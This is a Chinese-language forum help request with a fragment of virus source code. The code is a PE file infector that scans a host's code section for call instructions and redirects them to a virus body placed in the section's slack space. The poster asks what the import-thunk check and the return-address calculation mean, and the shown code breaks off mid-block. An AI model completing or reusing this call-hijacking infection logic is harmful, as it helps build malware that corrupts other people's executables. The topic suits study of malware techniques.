-
-
[旧帖]
[求助]一段病毒代码jmp 跳转问题
0.00雪花
-
发表于:
2016-2-2 16:00
1653
-
[旧帖] [求助]一段病毒代码jmp 跳转问题
0.00雪花
下面是一个病毒的源代码,主要思想是:
搜索宿主call指令,转向病毒体,病毒体运行后再jmp到原来地址
病毒体在代码节尾部空隙中,
//病毒体
thunkcode
//病毒入口
pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
(DWORD)pMapping+
pImageSectionHeader->Misc.VirtualSize) ;
vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
(DWORD)pMapping) ;
//:::搜索call指令(0xe8)
for (i=0;i<vir_len;i++)
{
if (pSearch[i]==0xe8)
{
dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
dwJmpVA = (DWORD)dwJmpAddr-
((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
pImageNtHeaders->OptionalHeader.ImageBase+
pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;//这句似乎有错误,这句看不懂
//dwJmpData存放的为原来的地址,也就是病毒体运行后要jmp的地址
//dwJmpData 如果上面求法错误的,那么这个值正确应该怎么求?
if ((*dwJmpAddr&0xffff)==0x25ff)//这句是什么意思
{
dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
*dwCallDataAddr = dwCodeDistance ;
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!